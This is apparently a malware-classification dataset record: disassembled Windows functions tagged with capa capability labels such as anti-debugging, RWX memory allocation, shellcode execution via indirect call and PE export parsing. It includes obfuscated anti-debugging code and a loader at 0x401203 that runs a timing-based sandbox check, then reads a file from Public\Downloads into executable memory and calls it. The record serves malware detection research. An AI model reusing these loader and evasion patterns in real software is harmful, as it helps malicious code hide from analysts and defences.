joyce8/EMBER2024-capa huggingface dataset:
Function at 0x89001b
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edi, [edi*4]
xchg word [esp + 1], bx
mov eax, 0x9d7a04d0
inc ebx
jmp 0x88ffc5
cld
mov edi, eax
mov eax, 0x9faa9346
push edi
mov dword [esp], eax
mov dl, 0x7c
jmp 0x88ff87
bsr di, bx
cmp esi, esi
mov ebx, edi
rcr esi, cl
mov bh, byte [esp + 3]
inc bh
jmp 0x890000
mov al, 0x70
xchg ah, al
rdtsc
bsr bx, si
lea edx, [esp + ecx]
adc dx, 0xdf11
jmp 0x88ffaf
pop word [esp]
push word [esp + 1]
pop word [esp]
lea esp, [esp + 2]
pushal
bt si, bp
jmp 0x88ff9f
cld
mov dl, 0x42
or bx, 0x85dc
mov byte [esp + 2], ah
mov ah, byte [esp + 2]
add esp, 3
jmp 0x890037
cmc
mov byte [esp], cl
jmp 0x88ffe8
mov esi, dword [esp]
xchg ah, cl
bsf si, sp
xchg ecx, esi
jmp 0x89005e
rcr edi, 9
mov eax, edx
mov bx, cx
mov ax, bp
lea ecx, [ecx + ebp]
std
jmp 0x890021
mov byte [esp], ah
lea ebx, [esi*4]
jmp 0x89009b
lea eax, [esp + 0xd2]
xor bx, 0x5ace
mov ah, bh
cpuid
xchg bl, al
mov dl, al
jmp 0x890048
bsf bx, si
cmc
bsr bx, cx
lea edx, [eax + edx]
lea esp, [esp]
clc
jmp 0x8900d9
lea esi, [ebx*4]
lea eax, [ebp*4]
mov ch, 0xd
bsr edx, edi
neg ebp
dec dx
jmp 0x890074
pop word [esp + 4]
lea esp, [esp + 6]
add esp, 2
lea edi, [eax + esi]
bsr bp, sp
bswap esi
jmp 0x89011e
lea esp, [esp]
mov al, bl
xchg byte [esp], ah
sub esp, 0xa
rdtsc
lea ebp, reloc.MSVCRT.dll_strncpy
jmp 0x8900b4
mov word [esp + 1], di
or ch, cl
lea esp, [esp + 4]
not ecx
xchg byte [esp], cl
jmp 0x890131
rcl dh, 0
lea eax, [eax + 0xb5]
stc
mov dword [esp], ecx
rol edi, cl
bt edx, esp
jmp 0x8900ee
mov bx, 0xde8d
bsr esi, esi
bsr ebp, edx
setle bh
bsr ebx, ebp
push ebx
jmp 0x890104
cpuid
lea edx, [eax + edi]
mov esi, 0x1095c0c1
lea ebp, [edx + ebp]
cpuid
setg ah
jmp 0x89029b
mov dword [esp], esp
mov ecx, dword [esp + 3]
rdtsc
mov edi, dword [esp + 4]
cpuid
call fcn.008901ad
into
pop ecx
mov eax, 0x88edf29b
and al, 5
mov byte [esp + 5], ah
pop word [esp + 2]
and cx, bp
bt ebx, ebx
bsr dx, sp
mov dword [esp], ebp
jmp 0x890165
push sp
inc di
bts eax, edx
mov byte [esp + 3], ch
pop di
xchg dword [esp], edi
jmp 0x89017f
mov cl, byte [esp]
pushfd
mov ecx, dword [esp + 2]
push word [esp + 1]
lea edx, [edi*4]
bsr dx, bx
jmp 0x8901df

Function at 0x891da6
Capabilities:
Execute anti-debugging instructions

Disassembly:
not al
xchg dword [esp], esi
jmp 0x891de8
mov al, dl
mov ah, 0xf9
add esp, 1
mov al, 0xaf
mov esi, 0x7d2d1a24
xchg byte [esp + 1], al
jmp 0x891dd2

Function at 0x8921d3
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dx
bswap esi
lea ebx, [esi*4]
clc
push dword [esp + 0x11]
jmp 0x8921f1
Function at 0x8924be
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov di, si
mov bp, 0xdf40
not eax
xchg bl, dh
xchg dword [esp], edi
jmp 0x892538
push word [esp + 3]
pop eax
lea edx, [ecx*4]
sbb al, 0x70
jmp 0x8924a5
xchg dword [esp], ecx
cld
push dword [esp + 4]
cpuid
mov esi, edx
mov bx, si
jmp 0x892513
shr ecx, cl
mov cx, 0x904f
xchg dword [esp], ebp
push dword [esp + 3]
xchg ebx, edi
pop bx
jmp 0x8924cf
lea eax, [eax + ecx]
mov dl, byte [esp + 2]
mov dword [esp], esp
xchg word [esp + 1], ax
sbb edi, ebx
mov edi, dword [esp + 3]
jmp 0x8924e5
push word [esp + 6]
xchg byte [esp + 2], bl
mov word [esp + 9], di
xchg esi, edx
xchg word [esp + 9], cx
mov bl, 0xf7
jmp 0x892564
mov dword [esp], ecx
mov edi, dword [esp]
lea eax, [ebx + ebp]
pop dx
mov edi, dword [esp]
lea edi, [ecx + 0xfb]
jmp 0x8924fc
bts di, ax
mov ax, word [esp]
lea eax, reloc.MSVCRT.dll_strncpy
jmp 0x892575
bsf cx, si
xchg bp, si
stc
pop cx
add esp, 7
push ax
jmp 0x89254e
push dword [esp + 3]
sub esp, 3
mov ah, 0x97
not ebp
btr ax, di
btc di, di
jmp 0x8925c2
neg ax
xchg cx, bx
xchg byte [esp + 6], bh
bswap esi
cpuid
mov ax, 0x60d7
jmp 0x8925a3

Function at 0x8926cb
Capabilities:
Execute anti-debugging instructions

Disassembly:
cpuid
jmp 0x8926d3
xchg dx, bp
pop cx
mov di, 0x8510
lea esp, [esp]
bswap eax
sub esp, 0x13
jmp 0x89271c
bswap esi
not ebx
mov word [esp + 0x11], cx
mov di, word [esp + 0xa]
stc
jmp 0x89272f
mov bx, cx
mov esi, ebp
mov dh, byte [esp + 7]
lea ecx, [ebx + esi]
sub esp, 6
mov ebx, ebp
jmp 0x892706
mov bx, word [esp + 9]
mov word [esp + 0xd], sp
std
add esp, 0x10
shr ecx, 0xc
bt ebx, eax
jmp 0x892763
mov dl, 0xf2
not ecx
not bl
mov bx, di
clc
lea esi, [eax + ebx]
jmp 0x892776
push cx
bsr dx, si
mov ecx, 0xbec25454
cpuid
jmp 0x8927b6
pop word [esp + 0xa]
cpuid
mov bl, byte [esp + 0xd]
xchg si, ax
jmp 0x892e1f
xchg dword [esp + 0xa], edi
bt esi, edi
xchg bx, si
xchg dword [esp + 9], eax
btr ecx, ecx
push dword [esp + 1]
jmp 0x8927a0
Function at 0x401203
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov edi, 0x12c
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, ebx
sub eax, edi
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.00404424
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x40124f
push str.sandbox____n
call fcn.00404424
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDownloadsindexx.ccp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402870
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41830d
call fcn.00404948
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402965
cmp byte [esi + 0x49], bl
je 0x402965
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4028a8
xor al, al
jmp 0x402967
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00402528
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402908
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x40290d
dec eax
je 0x402911
dec eax
dec eax
je 0x402961
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401c28
mov al, bl
pop edi
jmp 0x402967
mov edx, dword [ebp - 0x2c]
jmp 0x4028d2
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40291d
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402943
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402930
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0040566a
add esp, 0x10
cmp edi, eax
jne 0x4028f5
cmp byte [esi + 0x49], 0
je 0x402961
test edi, edi
jne 0x4028c4
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.0040241e
jmp 0x4028c4
mov bl, 1
jmp 0x4028f7
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x402975
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41831f
call fcn.00404948
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402992
xor eax, eax
jmp 0x4029ba
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x4029ca
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x4029ca
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4029ea
mov ecx, esi
call fcn.0040199c
cmp dword [esi + 0x44], edi
jne 0x4029ef
push dword [esi + 0x54]
push ebx
call fcn.00401fe0
pop ecx
pop ecx
test al, al
jne 0x4029b7
or eax, 0xffffffff
jmp 0x4029b9
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00402528
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402aa2
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x402ac0
cmp eax, 1
jg 0x402aaa
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a56
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x402a7c
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a69
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0040566a
add esp, 0x10
cmp edi, eax
jne 0x402ac0
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x402ad6
test edi, edi
jne 0x402a0e
cmp dword [ebp - 0x24], 0x20
jae 0x402ac0
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.0040241e
jmp 0x402a0e
mov edx, dword [ebp - 0x34]
jmp 0x402a20
cmp eax, 3
jne 0x402ac0
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.00401fe0
pop ecx
pop ecx
test al, al
jne 0x402ad6
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401c28
mov eax, esi
jmp 0x4029b9
mov esi, dword [ebp + 8]
jmp 0x402ac3

Function at 0x4065c5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f920]
jne 0x4065cf
repz ret
jmp fcn.0040de38
Function at 0x414084
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f920]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004095dc
and dword [ebp - 0x14], 0
cmp dword [0x421660], 0
mov dword [ebp - 0x18], eax
jne 0x414137
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4141df
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4141df
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x421660], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x421664], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x421668], eax
call edi
push eax
call esi
mov dword [0x421670], eax
test eax, eax
je 0x414137
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42166c], eax
mov eax, dword [0x42166c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414190
cmp dword [0x421670], ecx
je 0x414190
push eax
call esi
push dword [0x421670]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414190
test ebx, ebx
je 0x414190
call edi
test eax, eax
je 0x414187
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414187
test byte [ebp - 8], 1
jne 0x414190
or dword [ebp + 0x10], 0x200000
jmp 0x4141c3
mov eax, dword [0x421664]
cmp eax, dword [ebp - 0x18]
je 0x4141c3
push eax
call esi
test eax, eax
je 0x4141c3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4141c3
mov eax, dword [0x421668]
cmp eax, dword [ebp - 0x18]
je 0x4141c3
push eax
call esi
test eax, eax
je 0x4141c3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x421660]
call esi
test eax, eax
je 0x4141df
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4141e1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004065c5
leave
ret
Function at 0x41f04c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x43953a
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f09b
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
jmp 0x41f0ba
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f12c
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f115
test esi, esi
jbe 0x41f12c
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f107
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f12c
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f0e4
jmp 0x41f12c
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f12c
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x439541
ret
Function at 0x420284
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x43a89f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202bf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202d8
lea eax, [ebp - 0x10]
mov edx, dword [0x457348]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202eb
lea eax, [ebp - 0x10]
mov edx, dword [0x457348]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x4202f7
adc edx, 0
mov edx, dword [edx*4 + 0x456178]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420471
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420464
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420464
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420402
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420402
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420402
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420402
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420464
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420464
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420489
inc ebx
cmp ebx, 0x19
jne 0x4202b1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a8a6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x402c24
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402c61
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402c81
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.0040475c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x402e8c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004044ec
test esi, esi
jne 0x402ec3
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004045dc
jmp 0x402ee4
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402d28
mov dword [esp], eax
test esi, esi
je 0x402ee4
cmp dword [ebx], 0
je 0x402ee4
dec esi
jmp 0x402ecb
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x40310c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x463008], 0x8088405
inc edx
mov dword [ebx + 0x463008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403558
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x463024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4035f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4035d0
xor eax, eax
push ebp
push 0x4035c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40360c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035d0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x463024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x463024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404348
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x474044], 0
je 0x4043a9
cmp word [0x474218], 0xd7b2
jne 0x404371
cmp dword [0x474220], 0
jbe 0x404371
mov eax, 0x474214
call dword [0x474230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x463070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4043d0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x463034], 0
jne 0x4043c5
push 0
push 0x463068
push 0x463070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406438
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40649e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040475c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403128
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406488
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4064a5
lea eax, [ebp - 0x10]
call fcn.004044ec
ret

Function at 0x4084c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004049ac
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4084d9
test al, 0x10
jne 0x4084dd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4086ac
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.004049ac
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x4086ce
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40bd64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bd9d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004045dc
jmp 0x40bda6
mov eax, ebx
mov edx, esi
call fcn.00404540
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bdb0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bdd1
mov al, byte [esp]
jmp 0x40bdd3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40c468
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c2d0
mov eax, dword [0x472f0c]
cmp byte [eax], 0
je 0x40c4e4
mov eax, dword [0x472d6c]
call fcn.00402fdc
call fcn.00402b78
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408c0c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c52c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c51a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x472d0c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x474660]
call fcn.00405890
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40d2f8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d35c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040475c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408068
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d363
lea eax, [ebp - 0xc]
call fcn.004044ec
ret